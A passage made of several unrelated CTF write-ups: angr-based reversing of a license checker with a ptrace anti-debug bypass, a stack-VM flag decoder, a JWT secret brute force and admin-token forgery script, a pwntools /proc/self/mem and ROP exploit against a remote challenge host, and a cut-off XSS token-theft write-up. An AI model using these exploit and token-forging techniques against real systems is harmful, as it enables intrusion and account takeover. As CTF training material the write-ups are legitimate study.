set for`libncurses`, as this was a common problem when getting these programsto run: ```bashexport TERM=xterm-256color``` While we were working on manually noting down the function callsbetween the chunks of error printing code, we were at the same timerunning the code through `ltrace`, in order totrack the executed dynamic library calls. During manual analysis ofthe decompiled code, we stumbled upon the following softwareinterrupt (namely `int 0x80`, a syscall in x86 Linux): ```cpcVar2 = (code *)swi(0x80);iVar7 = (*pcVar2)();*(int *)(iStack_2900 + 0x32c) = -iVar7;local_28 = local_74;while (local_28 = local_28 + 1, local_28 <= local_74 + 0x11) {``` We didn't check what this syscall did for now, but noted it in theback of our minds, as it seemed extremely out of place for the binaryto manually perform a syscall. So we went on the play around with`ltrace` in the hopes we could find something that would narrow downthe search window for looking for meaningful stuff within the mainfunction. And we did, as the `ltrace` contained the following: ```[0x56567f01] strlen("thisistheusername "...)[0x56567f61] newwin(7, 50, 34, 88) [0x56567f96] newwin(7, 50, 35, 89) [0x56568181] box(0x565b85a8, 0, 0, 89) [0x5656835a] wbkgd(0x565b74e8, 1312, 0, 89) [0x5655714c] strlen("thisisthepassword") ``` We can see that strlen is called two times here, once for the usernameand once for the password, with `ltrace` thankfully giving us theinstruction pointer for instruction following the strlen (we disabledASLR using `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space` sothat `ltrace` would always give us the same addresses). Checking the strlen XRefs in Ghidra, we can click through and find the tworespective function calls with the username being checked in the mainfunction and the password being checked in another one. ```c*(int *)(puVar8 + -0x10) = local_90;*(undefined4 *)(puVar8 + -0x14) = 0x22f01;local_58 = strlen(*(char **)(puVar8 + -0x10));``` The strlen takes `puVar8 + -0x10` as argument, which is set earlierto `local_90` which is where our username is located. Looking forother occurrences of `local_90` leads us to this piece of code: ```c*(undefined4 **)(puVar8 + -0xc) = &local_28e9;*(int *)(puVar8 + -0x10) = local_90;*(undefined4 *)(puVar8 + -0x14) = 0x2353b;iVar7 = FUN_0001212a();if (iVar7 == 1) {``` Ghidra does not really show this nicely, due to the arguments beingplaced on the stack, but `FUN_0001212a` actually takes two parameters,one of them being the username. We can also see that the functionreturn value is checked for 1, quickly looking at the `ltrace` outputshows us that the else branch is taken (the return value is not 1) ifour password is false. So we can assume that this function takesusername and password, returns 1 if the password is correct and 0if the password is incorrect. Peeking into the function confirms this,as we can see the password strlen that we previously identified withinour ltrace output: ```cuStack_270 = 0x1213b;sVar2 = strlen(param_2);if (sVar2 == 29) {``` This also already gives us a hint that the password should have alength of 29 characters. The function only has 200 lines of decompiledC code (which allows us to ignore the rest of the 7000 lines ofdecompiled C code of the main function). Reading on shows us some morerelatively simple to reverse infos about the password: ```cif ((((local_20 == 5) || (local_20 == 0xb)) || (local_20 == 0x11)) || (local_20 == 0x17)) { if (param_2[local_20] != '-') { return 0; }}``` From this code we can see that every 5th character of the password issupposed to be a `-`. For every other character, the following isexecuted: ```clocal_29 = '\0';for (i = 0; (int)i < 0x20; i = i + 1) { FUN_000120da(local_b3,&local_71); for (j = 0; j < 0x20; j = j + 1) { puVar3 = (undefined *)FUN_0002b8d6(auStack_92,j); local_25d = FUN_0002b8fa(local_b3,*puVar3,j); puVar3 = (undefined *)FUN_0002b8d6(auStack_92,j); *puVar3 = local_25d; } puVar3 = (undefined *)FUN_0002b8d6(auStack_92,0x20); *puVar3 = 0; iVar5 = FUN_0002b92a(auStack_92); if (iVar5[i] == password[local_20]) { iVar6 = local_24 / 5; iVar7 = local_24 % 5; local_24 = local_24 + 1; local_118[iVar6 * 5 + iVar7] = i; local_29 = '\x01'; break; }}if (local_29 != '\x01') { return 0;}``` The most interesting line here is `iVar5[i] == password[local_20]`,which effectively ensures that the other characters of the passwordare only valid if they are part of the lookup table `iVar5`. Checkingwith GDB, we saw that this lookup table stays the same (despite beingrecreated every iteration), corresponding to: ```23456789ABCDEFGHJKLMNPQRSTUVWXYZ``` This means that this string is as password that passes all checks forthe formatting: ```23456-789AB-CDEFG-HJKLM-NPQRS``` Now at this point we looked at the rest of the code and figured thatwe were too lazy to reverse it by hand and thought that `angr` shouldbe able to easily solve this automatically. This seemed reasonable asthe structure of the function lends itself well for solving, sincewe have a username and password as parameter, and 0 or 1 as feedbackif the combination is valid or not. Also, all loops appear to bebounded given the input limits and there is nothing crazy happeningthat would cause us a headache when trying symbolic execution. ### First Steps with Angr Our first attempt with `angr` was to create a `call_state` at thefunction of interest, with parameters provided by us, and thenexploring to the location in the function where 1 is returned. Thislooked something like that: ```pythoncheck_addr = proj.loader.min_addr + 0x212apassword = PointerWrapper(claripy.BVS('password', 0x1e * 8), buffer=True)username = PointerWrapper(b'gdwAnDgwbRVnrJvEqzvs\x00', buffer=True)state = proj.factory.call_state( check_addr, username, password, prototype='int password_check(char *username, char *password)') simgr = proj.factory.simgr(state)val_addr = proj.loader.min_addr + 0x29a8 simgr.explore(find=val_addr)``` Now, we haven't touched `angr` in forever, and we're not sure if thatis how you actually use the PointerWrapper. We tried to run this, andit worked, but it didn't terminate within a reasonable amount of time.Debugging this a little, we realized that we already had issues passingthe first password check loop iteration, even when constraining thepassword to the correct characters. We realized, that we were likelymissing out on state that would be initialized before the functionis called, but letting the whole program run in `angr` would mostlikely not yield satisfying results. Due to the ncurses interface ofthe application, we were also not sure how well we can control theprogram automatically/from the outside, so using `angr` inbuiltconcolic execution techniques might not have worked. ### Concolic Execution So our main way of thinking was: given a program in GDB, can we dumpits state and use that with `angr`? If you think "wow that soundscool", we have to disappoint you a bit, because we didn't end up doingthat exactly, but we found something that was sufficient. Aftersearching for GDB `angr` integrations and not being able to findsomething recent that works, we thought of whether we could somehowmake use of [avatar2](https://github.com/avatartwo/avatar2), which weknew from previous research. While this does not have direct `angr`integration, `angr` does have a module which allows us to use`avatar2` with the GDB backend, called [Symbion](https://angr.io/blog/angr_symbion/).So using `Symbion` from `angr`, so that we can use `avatar2`, so that we can finally achieve our goal of syncing GDB state with `angr`. To start of, we start `oldschool` in a GDB server and then connect toit using the `Symbion` `avatar2` target: ```pythonavatar_gdb = AvatarGDBConcreteTarget( avatar2.archs.x86.X86, '127.0.0.1', 12345, 'gdb')``` Then, we set up `angr` as usual, creating an entry state and exploreto the address offset `0x2747`. We picked this offset, as it is locatedwithin the function right before username state and password state ismixed together, meaning this is the last possible location for us toreplace the password with symbolic variables if we want to solve forit. ```pythonp = angr.Project( './oldschool', concrete_target=avatar_gdb, use_sim_procedures=True) entry_state = p.factory.entry_state()entry_state.options.add(angr.options.SYMBION_SYNC_CLE)entry_state.options.add(angr.options.SYMBION_KEEP_STUBS_ON_SYNC) target_addr = BASE_ADDRESS + 0x2747simgr = p.factory.simgr(entry_state)simgr.use_technique(Symbion(find=[target_addr]))exploration = simgr.run()``` So far so good. If we just run `gdbserver 0.0.0.0:12345 ./oldschool`in our container and start the angr script, the password prompt of theoldschool binary will show up. Upon entering the password, our scriptsuccessfully explores the binary to the specified location and returnsus a state, great! Now we can go ahead and extend our script tointroduce symbolic variables for solving. To this end, we take thevalue from the `ebp` register and subtract `0x114`, which correspondsto the start address of the (substituted) password on the stack, whichwe determined from Ghidra. We know the length of the password withoutthe separating `-` is 25, and that every character of the password hasbeen substituted with a 32-bit number, which corresponds to the indexof the respective password character in the array of allowedcharacters. For each of these 25 characters, we create a 32 bitsymbolic variable. Because we know that the lookup dictionary of validcharacters is 32 characters long, we can also add a constraint tohighlight that the symbolic variable cannot be initialized with valuesbigger than 32. Finally, we write the symbolic variables to the memoryand save them for later: ```python# Previous state we reached through concrete execution (Symbion)state = exploration.found[0] # Defining symbolic varssymbolic_vars = []password_base = state.regs.ebp - 0x114for i in range(25): svar = state.solver.BVS(f'pw{i}', 8 * 4) state.add_constraints(claripy.ULT(svar, 0x20)) state.mem[password_base + i * 4].uint32_t = svar symbolic_vars.append(svar)``` Now we want to explore to the location in the program, where 1 isreturned, indicating a correct password: ```pythontarget_addr = BASE_ADDRESS + 0x29a8simgr = p.factory.simgr(state)simgr.explore(find=target_addr)``` We start the GDB server and run the angr script again, but afterentering our password, angr seems to crash due to memory areas beingpresumably not mapped. Our guess as to why this was happening was thatmaybe the base address for the symbolic execution was not the same asfor the concrete execution. After some research, we found that thisbug is an open issue referenced [here](https://github.com/angr/angr/issues/3346).The issue can ultimately be circumvented by specifying the base addressof the concrete execution when creating the angr project: ```pythonBASE_ADDRESS = 0x56555000 p = angr.Project( './oldschool', concrete_target=avatar_gdb, use_sim_procedures=True, load_options={'main_opts': {'base_addr': BASE_ADDRESS}})``` After setting the base address and repeating the GDB server/angr scriptprocedure, the symbolic execution takes a few seconds and we get avalid state, yay! This means there is definitely at least one solutionfor the symbolic variables that we specified and that we can now readout this solution, by asking the solver to evaluate our symbolicvariables: ```pythonstate = simgr.found[0]concrete_vals = []for svar in symbolic_vars: val = state.solver.eval(svar, cast_to=bytes) concrete_vals.append(val)``` The values we get back are the 32-bit integers after substitution ofthe password characters with the indices of the character dictionary.In order to get the actual password, we need to substitute it again,split it into chunks of 5, and add `-` between the chunks: ```pythondef chunks(l, n): for i in range(0, len(l), n): yield l[i:i + n] lookup = '23456789ABCDEFGHJKLMNPQRSTUVWXYZ'c = chunks(''.join([lookup[x[-1]] for x in concrete_vals]), 5)print('-'.join(c))``` Which gives us the following for the first username in the list we haveto crack (`gdwAnDgwbRVnrJvEqzvs`): ```GL3EX-E3WHZ-EJ57M-UEPYX-62PK7``` ### Anti-Debug Of course, we go ahead and try if that actually works and... it doesnot? After some trial and error, we figured out that the password doeswork - if we run the binary using the gdbserver. This means we aredealing with some anti-debugging and made us remember the syscall wefound before. We guessed that this was the `ptrace` syscall using thewell known `ptrace(PTRACE_TRACEME, 0, 1, 0)` trick, since this willfail if the program is already being ptraced (like when we run it inGDB). While we could just patch that check out, we decided it would benice to go ahead and just use the existing angr/Symbion/avatar2 flowto intercept ptrace/change the return value. So instead of exploringto the location from where we want to do symbolic execution, we exploreto the location of the `ptrace` call and change the return value. Tothis end, we set the return register to 0, and then tell Symbion toconcretize the changes (i.e. copying them to the GDB target): ```python# Exploring until after the ptrace callentry_state = p.factory.entry_state()entry_state.options.add(angr.options.SYMBION_SYNC_CLE)entry_state.options.add(angr.options.SYMBION_KEEP_STUBS_ON_SYNC) target_addr = BASE_ADDRESS + 0xaf79simgr = p.factory.simgr(entry_state)simgr.use_technique(Symbion(find=[target_addr]))exploration = simgr.run() # Exploring until the location where we want to do symbolic executionstate = exploration.found[0]state.regs.eax = 0 target_addr = BASE_ADDRESS + 0x2747simgr = p.factory.simgr(state)simgr.use_technique(Symbion(find=[target_addr], register_concretize=[('eax', state.regs.eax)]))exploration = simgr.run()``` After that, we continue our symbolic execution as before. Afterevaluating it, we now get this password for the first username: ```2UTQS-QFE2D-Z3P9K-6CFM9-TRRH5``` We try it out and it works! ![Image showing a successful login](https://w0y.at/images/google-ctf-2023/oldschool-win.png) Now the challenge requires us to do this for 49 more usernames, thenconcatenate everything together and hash it, to give us the flag. We didn't automate this process as the terminal interface was a bit of apain to automate (we were too lazy), so we just sat down and did it 49times manually. While this is a rather anticlimactic ending for a writeup (the flagis just a hash, so there's really no funny or cool note to end thison), it shows just how useful symbolic execution can be when appliedto reversing challenges. This rings especially true, when the challengerequires a more complex state that cannot easily be handled with angr,mirroring conditions of real-world programs where the part you want toanalyze is often very deep down in the program. Our full angr scriptsolution can be found [here](https://gitlab.w0y.at/lounge/meetings/-/blob/main/2023-07-03/oldschool/solve.py).
# UIUCTF 2023 ## vmwhere1 > Usage: ./chal program>> Author: richard>> [`chal`](https://github.com/D13David/ctf-writeups/blob/main/uiuctf23/rev/vmwhere1/chal)> [`program`](https://github.com/D13David/ctf-writeups/blob/main/uiuctf23/rev/vmwhere1/program) Tags: _rev_ ## SolutionThe name of the challenge suggests it, this is probably another virtual machine reverse. The executable is very small, so opening it with [`https://dogbolt.org/`](dogbolt) works just fine. The main function prints usage information, if no commandline argument is passed. This was known from the description already. Then the program is *loaded* and afterwards *run* (naming where adapted). ```cint32_t main(int32_t argc, char** argv, char** envp){ void* fsbase; int64_t rax = *(fsbase + 0x28); int32_t rax_5; if (argc <= 1) { printf("Usage: %s <program>\n", *argv); rax_5 = 1; } else { int32_t programSize; void* program = loadProgram(argv[1], &programSize); if (program == 0) { printf("Failed to read program %s\n", argv[1]); rax_5 = 2; } else if (runProgram(program, programSize) == 0) { rax_5 = 0; } else { rax_5 = 3; } } *(fsbase + 0x28); if (rax == *(fsbase + 0x28)) { return rax_5; } __stack_chk_fail(); /* no return */}``` The function `loadProgram` is very straight forward, so we are moving on the function `runProgram`. ```cint64_t runProgram(void* arg1, int32_t arg2){ void* var_20 = arg1; void* rax_1 = malloc(0x1000); void* var_18 = rax_1; int64_t rax_10; while (true) { if ((arg1 <= var_20 && var_20 < (arg1 + arg2))) { char* rax_3 = var_20; var_20 = &rax_3[1]; uint32_t rax_5 = *rax_3; switch (rax_5) { case 0: { rax_10 = 0; break; break; } case 1: { *(var_18 - 2) = (*(var_18 - 2) + *(var_18 - 1)); var_18 = (var_18 - 1); break; } case 2: { *(var_18 - 2) = (*(var_18 - 2) - *(var_18 - 1)); var_18 = (var_18 - 1); break; } case 3: { *(var_18 - 2) = (*(var_18 - 2) & *(var_18 - 1)); var_18 = (var_18 - 1); break; } case 4: { *(var_18 - 2) = (*(var_18 - 2) | *(var_18 - 1)); var_18 = (var_18 - 1); break; } case 5: { *(var_18 - 2) = (*(var_18 - 2) ^ *(var_18 - 1)); var_18 = (var_18 - 1); break; } /// ... } } }}``` This is a very typical VM loop. Reading opcodes and data from the code buffer and doing operations based on the opcode. The VM has 18 opcodes in total 0x00-0x10 and 0x28, where 0x28 is somewhat special, because it can be used to dump the VM state. ```cvoid* sub_1370(int64_t arg1, int64_t arg2, int64_t arg3, int64_t arg4){ int64_t var_20 = arg1; printf("Program counter: 0x%04lx\n", arg4); printf("Stack pointer: 0x%04lx\n", ((arg3 - 1) - arg2)); void* rax_5 = puts("Stack:"); for (int32_t var_c = 0; var_c <= 0xf; var_c = (var_c + 1)) { rax_5 = (((arg3 - 1) - arg2) - var_c); if (rax_5 >= 0) { rax_5 = printf("0x%04lx: 0x%04x\n", (((arg3 - 1) - arg2) - var_c), *((arg3 - 1) + (-var_c))); } } return rax_5;}``` This gives us some good hints about how the VM works. It consists out of a program counter (pointing to the current instruction to execute) and a stack. Nothing else really, everything is stack based. It's beautifully easy. With this we can start to attach context to `runProgram`. We know that `arg1` is the program code and can guess that the 1k of memory is stack-memory, so we can rename `var_20` and `var_18` accordingly. ```cbyte_t* code = arg1;byte_t* stackMem = malloc(0x1000);byte_t* stack = stackMem;``` Afterwards we can attach more context to the instructions. For instance instruction `01h` adds two values from the stack and saves it to the stack. So we are writing this down as a note. ```ccase 1: // add s(2), s(2), s(1){ TRACE(printf("ADD %02x %02x\n", *(stack - 2), *(stack - 1))); *(stack - 2) = (*(stack - 2) + *(stack - 1)); pop(stack); break;}``` Another very helpful thing is to be able to trace actual mnemonics so we can create a disassembly of the program. This is done by just printing some informations and wrapping the print in a `TRACE` macro, so tracing can be disabled or enabled at a single spot. ```c#define DO_TRACE 0 #if DO_TRACE#define TRACE(x) x#else#define TRACE(x)#endif``` A last thing is to augment the stack pop instruction to override the last freed item with a well known constant. This way the stack doesn't contain old values and while debugging with visual studio, the stack memory can be inspected and we always know where the stack pointer is pointing to. ```cvoid pop(byte_t*& stack){ stack = (stack - 1); *stack = 0xfe;}``` ``` [0x00000000] 0x00 '\0' unsigned char [0x00000001] 0x00 '\0' unsigned char [0x00000002] 0x00 '\0' unsigned char [0x00000003] 0x01 '\x1' unsigned char [0x00000004] 0x00 '\0' unsigned char [0x00000005] 0x01 '\x1' unsigned char [0x00000006] 0x00 '\0' unsigned char [0x00000007] 0x01 '\x1' unsigned char [0x00000008] 0x01 '\x1' unsigned char [0x00000009] 0x01 '\x1' unsigned char [0x0000000a] 0x00 '\0' unsigned char [0x0000000b] 0xfe '�' unsigned char <- Stack Pointer is here [0x0000000c] 0xfe '�' unsigned char [0x0000000d] 0xfe '�' unsigned char [0x0000000e] 0xfe '�' unsigned char [0x0000000f] 0xfe '�' unsigned char [0x00000010] 0xfe '�' unsigned char [0x00000011] 0xfe '�' unsigned char``` This is done now for all the other instructions as well and we have a full fledged understanding of what the VM can do, how data is transformed and have a debugging functionality in place (the code with some augmentations for `vmwhere2` can be found [`here`](https://github.com/D13David/ctf-writeups/blob/main/uiuctf23/rev/vmwhere2/stack_vm.cpp)). Ok, moving on. Now we can run the program and create a full trace. Here's a commented version. First the banner and input prompt are printed to screen. ```; print welcome message0001 PUSH #00 ; push 00h to stack0003 PUSH #0a ; push 0Ah (new line) to stack0005 PUSH ! ; push 21h (!) to stack0007 PUSH 1 ; ...0009 PUSH000b PUSH e000d PUSH r000f PUSH e0011 PUSH h0013 PUSH W0015 PUSH M0017 PUSH V0019 PUSH001b PUSH o001d PUSH t001f PUSH0021 PUSH e0023 PUSH m0025 PUSH o0027 PUSH c0029 PUSH l002b PUSH e002d PUSH W ; stack content: "Welcome to VMWhere 1!\x0A\x00" print_loop1:002f JZ print_prompt; jump if S(1) is zero0032 PUT S(1) ; pop item from stack and print on screen0033 JMP print_loop1 ; print input promptprint_prompt:0036 PUSH #000038 PUSH #0a003a PUSH :003c PUSH d003e PUSH r0040 PUSH o0042 PUSH w0044 PUSH s0046 PUSH s0048 PUSH a004a PUSH p004c PUSH004e PUSH e0050 PUSH h0052 PUSH t0054 PUSH0056 PUSH r0058 PUSH e005a PUSH t005c PUSH n005e PUSH e0060 PUSH0062 PUSH e0064 PUSH s0066 PUSH a0068 PUSH e006a PUSH l006c PUSH P ; stack content: "please enter the password:\x0A\x00" print_loop2:006e JZ end0071 PUT S(1)0072 JMP print_loop2 end:``` After this, the program reads a character from user input and validates if the character is a valid flag character. ```0075 PUSH #00 ; push 00h to the stack0077 READ ; read character from keyboard and push it to the stackaaaa0078 PUSHS 97 ; duplicate the last value on the stack ('a' = 97)0079 PUSH #04 ; push 04h (coming from code segment) to the stack007b SHR ; SHR s(2), s(2) s(1)007c XOR 61 06 ; XOR s(2), s(2) s(1)007d XOR 00 67 ; XOR s(2), s(2) s(1)007e PUSHS 103 ; push s(1)007f PUSH r ; push 72h (coming from code segment) to the stack0081 XOR 67 72 ; XOR s(2), s(2) s(1) - test if modified input value ; is same as value from code segment0082 JZ char_1 ; jump if values are idendical0085 JMP fail ; char_1:... check next character(s) fail:0495 PUSH #00 ; print fail message0497 PUSH #0a0499 PUSH !049b PUSH d049d PUSH r049f PUSH o04a1 PUSH w04a3 PUSH s04a5 PUSH s04a7 PUSH a04a9 PUSH p04ab PUSH04ad PUSH t04af PUSH c04b1 PUSH e04b3 PUSH r04b5 PUSH r04b7 PUSH o04b9 PUSH c04bb PUSH n04bd PUSH I04bf JZ no04c2 PUT #4904c3 JMP04bf JZ no04c2 PUT #6e04c3 JMP04bf JZ no04c2 PUT #6304c3 JMP04bf JZ no04c2 PUT #6f04c3 JMP04bf JZ no04c2 PUT #7204c3 JMP04bf JZ no04c2 PUT #7204c3 JMP04bf JZ no04c2 PUT #6504c3 JMP04bf JZ no04c2 PUT #6304c3 JMP04bf JZ no04c2 PUT #7404c3 JMP04bf JZ no04c2 PUT #2004c3 JMP04bf JZ no04c2 PUT #7004c3 JMP04bf JZ no04c2 PUT #6104c3 JMP04bf JZ no04c2 PUT #7304c3 JMP04bf JZ no04c2 PUT #7304c3 JMP04bf JZ no04c2 PUT #7704c3 JMP04bf JZ no04c2 PUT #6f04c3 JMP04bf JZ no04c2 PUT #7204c3 JMP04bf JZ no04c2 PUT #6404c3 JMP04bf JZ no04c2 PUT #2104c3 JMP04bf JZ no04c2 PUT #0a04c3 JMP04bf JZ yes04c6 RET``` All right, there you have it. The code takes a input character, shifts it by a value (always 4 in this program), so we end up with the high nibble of the character value. Then the high nibble is xored with the character value and this is xored with the previous iteration value. Here's how the stack looks like during the validation process. Since S(1) is 15h before the check the validation fails. We already can see that the program gives us the encoded values for the flag, in this case 72h is assumed.```READ PUSHS 61h PUSH 04h SHR XOR XOR00 00 00 00 00 0000 00 00 00 00 0000 00 00 00 00 6761 61 61 61 67 61 61 06 04 PUSHS 67 PUSH 72h XOR00 00 0000 00 0067 67 0067 67 15 <- values where not identical (entry != 0), fail... 72``` If translated to python it looks like this: ```pythonprev = 0for c in flag: c = ((ord(c) >> 4)^ord(c))^prev prev = c #if not isvalid(c): # print("incorrect password!") # exit()``` This can be reversed, and if we have a list of all the encrypted flag characters we can reconstruct the flag.```pythonbuffer = []for i in range(len(foo)-1, 0, -1): c = encryptedFlag[i] ^ encryptedFlag[i-1] buffer.append(chr((c>>4)^c))``` And as mentioned above, indeed we have the list, right in the code. To extract we can just search for the byte pattern, of the sequence of bytes, just before the value is pushed to the stack. The sequence of bytes is always the same ```05 XOR s(2), s(2) s(1)0F PUSH s(1)0A XX PUSH XX``` So we can just scan the program code for `0F 0F 0A` and write down the next byte. This gives us the following values. ```encryptedFlag = [0x72,0x1D,0x6F,0x0a,0x79,0x19,0x65,0x02,0x77,0x47,0x1d,0x63,0x50,0x22,0x78,0x4f,0x15,0x60,0x50,0x37,0x5d,0x07,0x76,0x1d,0x47,0x37,0x59,0x69,0x1c,0x2c,0x76,0x5c,0x3d,0x4a,0x39,0x63,0x02,0x32,0x5a,0x6a,0x1f,0x28,0x5b,0x6b,0x09,0x53,0x20,0x4e,0x7c,0x08,0x52,0x32,0x00,0x37,0x56,0x7d,0x07]``` Running the python script above on it gives the flag. Flag `uiuctf{ar3_y0u_4_r3al_vm_wh3r3_(gpt_g3n3r4t3d_th1s_f14g)}`
[![Nahamcon CTF 2023: Marmalade 5 (Web)](https://img.youtube.com/vi/3LRZsnSyDrQ/0.jpg)](https://www.youtube.com/watch?v=3LRZsnSyDrQ "Nahamcon CTF 2023: Marmalade 5 (Web)") ### Description>Enjoy some of our delicious home made marmalade! ## ReconCan't register as `admin`.```bashLogin as the admin has been disabled ``` Register as `cat` and it says only `admin` can get flag! Check the [JWT](https://youtu.be/GIq3naOLrTg) in session cookies. ```jsoneyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImNhdCJ9.C3Z8QcoVXXFa-LAzFZbZ1w``` Decode it with [jwt.io](https://jwt.io)```json{ "alg": "MD5_HMAC"}{ "username": "cat"}``` ## First attemptsTried `null` and `none` algorithm attacks with `jwt_tool`.```bashjwt_tool eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImNhdCJ9.C3Z8QcoVXXFa-LAzFZbZ1w -X a -pc username -pv admin``` When trying to use the tokens, get an error.```bashInvalid algorithm, we only accept tokens signed with our MD5_HMAC algorithm using the secret fsrwjcfszeg*****``` So we know the first 11 characters of the key `fsrwjcfszeg`, let's try to brute force the last 5. Tried `jwt_tool` but it doesn't work with the `MD5_HMAC` algorithm.```bashjwt_tool eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImNhdCJ9.C3Z8QcoVXXFa-LAzFZbZ1w -C -p fsrwjcfszeg***** Algorithm is not HMAC-SHA - cannot test with this tool.``` Same goes for `hashcat`.```bashhashcat -a 3 -m 16500 'eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImNhdCJ9.C3Z8QcoVXXFa-LAzFZbZ1w' fsrwjcfszeg?l?l?l?l?l Hash 'eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImNhdCJ9.C3Z8QcoVXXFa-LAzFZbZ1w': Token length exceptionNo hashes loaded.``` ## Solve script #1 (brute-force)Let's (me and chatGPT) make a custom script to crack the signature. ```pythonimport jwtimport hashlibimport hmacimport base64 jwt_token = "eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImNhdCJ9.C3Z8QcoVXXFa-LAzFZbZ1w" def verify_jwt(jwt_token, key): # Split the JWT into header, payload, and signature header, payload, signature = jwt_token.split('.') # Recreate the signing input by concatenating the header and payload with a dot signing_input = header + '.' + payload # Convert the signing input and key to bytes signing_input_bytes = signing_input.encode('utf-8') key_bytes = key.encode('utf-8') # Create an HMAC-MD5 hash object hash_obj = hmac.new(key_bytes, signing_input_bytes, hashlib.md5) # Get the HMAC-MD5 signature calculated_signature = hash_obj.hexdigest() # Decode the Base64-encoded signature from the JWT decoded_signature = base64.urlsafe_b64decode(signature + "==") # Compare the decoded signature with the calculated signature if decoded_signature == bytes.fromhex(calculated_signature): print("Key:", key) exit(0) # Define the character set and key lengthcharset = "abcdefghijklmnopqrstuvwxyz"key_length = 5 # Loop through different keysfor i in range(len(charset) ** key_length): key = "" for j in range(key_length): key = charset[i % len(charset)] + key i //= len(charset) verify_jwt(jwt_token, 'fsrwjcfszeg' + key)``` Got the key!```bashKey: fsrwjcfszegvsyfa``` ## Solve script #2 (forge token)Now another custom script to forge a token with user `admin`.```pythonimport jwtimport hashlibimport hmacimport base64 jwt_token = "eyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImNhdCJ9.C3Z8QcoVXXFa-LAzFZbZ1w"key = "fsrwjcfszegvsyfa" # Split the JWT into header, payload, and signatureheader, payload, signature = jwt_token.split('.') # Decode the payload from the tokendecoded_payload = base64.urlsafe_b64decode(payload + "==").decode('utf-8') # Modify the payloadmodified_payload = decoded_payload.replace('"username":"cat"', '"username":"admin"') # Encode the modified payloadencoded_payload = base64.urlsafe_b64encode(modified_payload.encode('utf-8')).decode('utf-8').rstrip('=') # Recreate the signing input by concatenating the header and modified payload with a dotsigning_input = header + '.' + encoded_payload # Convert the signing input and key to bytessigning_input_bytes = signing_input.encode('utf-8')key_bytes = key.encode('utf-8') # Create an HMAC-MD5 hash objecthash_obj = hmac.new(key_bytes, signing_input_bytes, hashlib.md5) # Get the HMAC-MD5 signaturecalculated_signature = hash_obj.digest() # Encode the calculated signature using base64encoded_signature = base64.urlsafe_b64encode(calculated_signature).rstrip(b'=').decode('utf-8') # Replace the characters '+' and '/' in the encoded signature with '-' and '_'encoded_signature = encoded_signature.replace('+', '-').replace('/', '_') # Create the modified JWT by concatenating the modified header, encoded payload, and encoded signaturemodified_jwt = header + '.' + encoded_payload + '.' + encoded_signature print("Modified Token:", modified_jwt)``` Note, this script is inefficient (blame chatGPT obvs). Best to use `itertools.product` instead of a nested loop. Anyway.. We receive a new token, signed with `MD5_HMAC` using the secret key `fsrwjcfszegvsyfa`.```basheyJhbGciOiJNRDVfSE1BQyJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.C3Z8QcoVXXFa-LAzFZbZ1w``` We replace the cookie and receive a flag!```txtflag{a249dff54655158c25ddd3584e295c3b}```
# Solution- WE can write anywhere in memory if you have access to file /proc/self/mem.- Edit libc to bypass exit- ROP# Exploit```pyfrom pwn import *context.log_level='debug'context.arch='amd64'context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']# p=process('./main',env={"LD_PRELOAD":"./libc.so.6"})# gdb.attach(p)# p.interactive()# exit(1)sh='''b *0x555555555478b *0x555555555491b exit'''# p = process("./chal")# p = gdb.debug("./chal",sh,env={"LD_PRELOAD":"./libc.so.6"})p = remote("wfw3.2023.ctfcompetition.com",1337)ru = lambda a: p.readuntil(a)r = lambda n: p.read(n)sla = lambda a,b: p.sendlineafter(a,b)sa = lambda a,b: p.sendafter(a,b)sl = lambda a: p.sendline(a)s = lambda a: p.send(a)def ch(addr,l): target = addr pay = hex(target).encode()+b" "+str(l).encode() p.send(pay.ljust(0x40,b'\0'))def end(l): p.send(flat(l).ljust(0x40,b'\xff')) p.read()def nop(addr,l): if l%2!=0: l=l-1 ch(addr+l-1,1) for x in range(0,l,2): ch(addr+x,2) ru(b" expire\n")PIE = int(p.readuntil(b"-")[:-1],0x10)info(hex(PIE))for x in range(7): ru(b"\n")base = int(p.readuntil(b"-")[:-1],0x10)info(hex(base))ru(b"\n\n")ch(0x455f0+0x1b+base,1)ch(0x455f0+0x17+base,1)ch(0x455f0+0x2b-3+base,1)ch(0x455f0+0x2b-2+base,2)ch(0x455f0+0x1f+base,1)ch(0x455f0+0x4+base,1)ch(0x455f0+0x26+base,1)rdi = 0x000000000002a3e5+basebprintf = 0x555555555090-0x555555554000+PIEflag = 0x5555555590A0-0x555555554000+PIErsi = 0x000000000002be51+baseend([rdi,1337,rsi,flag,bprintf,])p.interactive()```
# A Good Vue (web)Writeup by: [xlr8or](https://ctftime.org/team/235001) As part of this challenge we get 2 web pages. One is for a bot, which will make the admin *check out your cool stuff*, the second one is the page with the pictures and the voting system. Inspecting the main page, when it is first loaded, a request is made to `http://goodvue-api.rumble.host/token` that will get us a `token` which will be stored as a cookie.After we have this token, and refresh, we see some jury reviews, likes and dislikes of the pictures that are posted.The site seems to function normally, and the big **EXPLOIT** button at the top doesn't seem to work either. To learn more about the website we can read the frontend source code, by going to the `Debugger` tab of the browser dev tools.The interesting file we can find here is the `ImageComponent.vue`, which contains the API endpoint we have already seen:```javascriptmethods: { like: function() { this.likes++; }, dislike: function() { this.dislikes++; }, todo_implement_update(_message) { axios.put(apiUrl + "/edit", { "id": this.id? this.id : "0", "token": this.token, "text": "::unimplemented::" }); } },``` However as you can see there's an API function that we have no knowledge of so far, the `edit` endpoint, since this is not exposed in the HTML of the website.* `id` is the ID of the image where we want to edit the message* `token` is the token we have in the cookie from the very first API request* `text` is the content we can append to the message Trying out this endpoint, we have the ability to append messages to the jury comments.And sure enough this is vulnerable to XSS. Most likely the objective is to get the token of the admin (although this is a bit of a guess, there is no other way I could think of to win this challenge).We can construct the following python script, that will perform the XSS with a payload that will call back to some extraction service (ngrok, or having an external server etc..), with the `token` of whoever visits the page```pythonimport requests resp = requests.put('http://goodvue-api.rumble.host/edit', json={ 'id': '1', 'token': '747401992a50da23723e84bbd7202a', 'text': ''}) 